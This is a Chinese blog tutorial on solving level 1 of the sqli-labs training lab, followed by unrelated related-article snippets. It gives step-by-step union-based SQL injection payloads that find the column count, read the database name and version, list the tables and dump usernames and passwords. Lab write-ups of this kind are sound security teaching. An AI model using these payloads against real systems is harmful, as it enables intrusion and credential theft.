SQL注入(sqli-labs第一关)

sqli-labs第一关

方法一:手工注入

来到第一关,图上说我们需要一个数字的参数

img

于是我们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错

每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql ";  为了能够跟清楚的了解sql注入的原理

img

于是我们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入

img

于是我们拼接字符串?id=1' and '1'='1页面回显正常

img

然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union联合查询

联合查询特点:

1、要求多条查询语句的查询列数是一致的! 2、要求多条查询语句的查询的每一列的类型和顺序最好一致 3、union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造?id=1' and '1'='1' order by 1--+  页面回显正常

      ?id=1' and '1'='1' order by 2--+  页面回显正常

      ?id=1' and '1'='1' order by 3--+  页面回显正常

      ?id=1' and '1'='1' order by 4--+  出现报错界面

img

然后我们就确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+    (将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位

img

这样我们就看到了2,3这两个回显位

然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1' union select 1,database(),version()--+

img

然后我们知道了数据库是security,版本信息:5.7.26

再爆表之前我们先了解一波知识点:

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

然后我们利用union查询来爆出表面宁

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

于是我们爆出了表名

img

然后,由我们正常的思维,我们的账号和密码肯定在一张表上,我们看到了users表,

于是我们查看一下这张表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

img

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/614047.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux下安装mysql8.0(以tar.xz包安装--编译安装)

前言:原文在我的博客网站中,持续更新数通、系统方面的知识,欢迎来访! Linux下安装mysql8.0(以tar.xz包安装--编译安装)https://myweb.myskillstree.cn/126.html 目录 一、下载对应自己glic版本的MySQL …

VS远程调试

因为是做工厂应用的客制化项目,在客户现场出现异常,本地又很难复现,而且重启软件可能又自动恢复了,此时可以用VisualStudio自带的远程调试功能进行调试,不需要重启软件,能较好的定位问题。客户电脑上不需要…

上位机图像处理和嵌入式模块部署(树莓派4b和电源供给)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 前面,我们说过pc电脑和嵌入式设备,两者都可以实现相同的软件功能。但是和pc相比较,嵌入式设备不仅价格更便宜&a…

【Java】高效解决 非降序数组合并 两种方法

欢迎浏览高耳机的博客 希望我们彼此都有更好的收获 感谢三连支持! oj:https://leetcode.cn/problems/merge-sorted-array/submissions/ 合并两个有序数组是个经典问题,它不仅在算法学习中频繁出现,也在实际开发中经常遇到。合并数…

「51媒体」邀请媒体参会报道和媒体发稿有啥不同

传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 媒体参会报道和媒体发稿是新闻报道的两种不同形式,它们的主要区别在于内容来源、报道方式和目的。 内容来源: 媒体参会报道:通常指的是记者或媒体代…

【配置】IT-Tools部署

github地址 docker运行如下,记得打开云服务器的9090端口 docker run -d --name it-tools --restart unless-stopped -p 9090:80 corentinth/it-tools:latestip:9090查看,很香大部分工具都有

在WHM面板中启用两要素验证

我使用的Hostease的美国独立服务器产品也购买了cPanel面板,但是发现只要获取服务器密码就可以登陆我的cPanel面板,这种给我的感觉不安全,因此联系Hostease的咨询了Hostease技术支持,寻求帮助了解到可以在cPanel面板中开启安全验证…

【ZYNQ】Vivado 封装自定义 IP

在 FPGA 开发设计中,IP 核的使用通常是不可缺少的。FPGA IP 核是指一些已经过验证的、可重用的模块或者组件,可以帮助构建更加复杂的系统。本文主要介绍如何使用 Vivado 创建与封装用户自定义 IP 核,并使用创建的 IP 核进行串口回环测试。 目…

【高阶数据结构】图--最短路径问题

图--最短路径问题 一、单源最短路径--Dijkstra算法1、简介2、解析3、代码4、测试用例5、打印最小路径代码和测试6、缺陷:不能使用负路径 二、单源最短路径--Bellman-Ford算法1、简介2、解析(1)详情i、负权问题:一个点只跑一趟找最…

Git操作GitHub全记录

目录 一. GitHub ssh-key配置二. 添加GitHub仓库Git提交本地代码到Github仓库远程克隆仓库到本地的文件夹再上传本地的无.git的文件夹上传到远程仓库 三. Git删除Github仓库或某个文件或文件夹1.删除已有Github仓库2.删除Github中的某个文件或文件夹①如果没有建立本地库或者克…

力扣例题(循环队列)

链接 . - 力扣(LeetCode) 描述 思路 我们使用数组来创建循环队列 数组的大小我们就额外对开辟一块空间 MyCircularQueue(k) 开辟一个结构体,存放队列的相关数据 分别为size,数组指针_a,起始位置head,结束位置tail 注意:我们…

代码质量检查jacoco环境搭建

这里主要介绍集成和系统测试覆盖率环境搭建,并简单介绍各个工具。 关于单元测试的覆盖率监控(只需要修改ant或maven配置即可),下一篇说明 环境准备 需要环境 jdk1.8centos 7posgresql 9.6 工具下载 jacoco 0.8.2 https://www.eclemma.org/jacoco/ a…

docker01-简介和概述

什么是docker? 我们现在开发项目是在windows操作系统使用idea开发,本地windows操作系统上有我们项目所需的jdk,mysql,redis,tomcat等环境,如果我们想打包我们的项目到一个别的服务器上,在别的服…

大模型面试常考知识点2

文章目录 1. LLM推理attention优化技术KV CachePageAttention显存优化MHA\GQA\MQA优化技术FlashAttention优化技术稀疏Attention1. Atrous Self Attention2. Local Self Attention3. Sparse Self Attention 2. LLM数据处理关键去重多样性保证构造扩充数据充分利用数据 参考文献…

iview(viewUI) span-method 表格实现将指定列的值相同的行合并单元格

效果图是上面这样的&#xff0c;将第一列的名字一样的合并在一起&#xff1b; <template><div class"table-wrap"><Table stripe :columns"columns" :data"data" :span-method"handleSpan"></Table></div&…

Windows Python 安装准备

首先安装配置 1. 环境的安装和配置: 运行环境: 官方提供了cpython解释器 编辑环境: 课程初级阶段:推荐大家使用: 记事本工具(UE、notepad++、editplus、sublime、vscode) 中期阶段IDE的使用,pycharm 2. 安装python环境: 在官方下载python解释器 www.python.org …

AI图书推荐:杀手级ChatGPT提示词——利用人工智能实现成功与盈利

《杀手级ChatGPT提示词——利用人工智能实现成功与盈利》&#xff08;Killer ChatGPT Prompts_ Harness the Power of AI for Success and Profit &#xff09;一书是作者Guy Hart-Davis关于ChatGPT的指南&#xff0c;ChatGPT是OpenAI开发的大语言模型。这本书提供了各种职业角…

Appium测试之获取appPackage和appActivity

appPackage和appActivity 进行appium自动化测试非常重要的两个参数&#xff0c;我们所测试的APP不同&#xff0c;这两个参数肯定也是不一样的。那如何快速的获取这APP的这两个参数呢&#xff1f;我这里介绍两个方法。 import org.openqa.selenium.remote.DesiredCapabilities;i…

Milvus Cloud:打造向量数据库的Airtable级体验

向量数据库Milvus Cloud是一种用于处理和存储向量数据的数据库,它通常用于机器学习、图像和视频检索、自然语言处理等领域。要将其升级为类似Airtable那样易用且一体化的系统,需要考虑以下几个关键方面: 1. 用户界面(UI)设计 Airtable之所以用户友好,很大程度上归功于其直…

架构每日一学 4:成为首席架构师,你必须学会顺应人性

本文首发于公众平台&#xff1a;腐烂的橘子 架构师生存法则之二&#xff1a;架构活动需要顺应人性 程序员入行的第一天起就进入了一个机器的世界。在别人的眼中&#xff0c;程序员平时很少说话&#xff0c;更多的时间在和电脑打交道。 程序员工作时间久了大脑会被格式化&…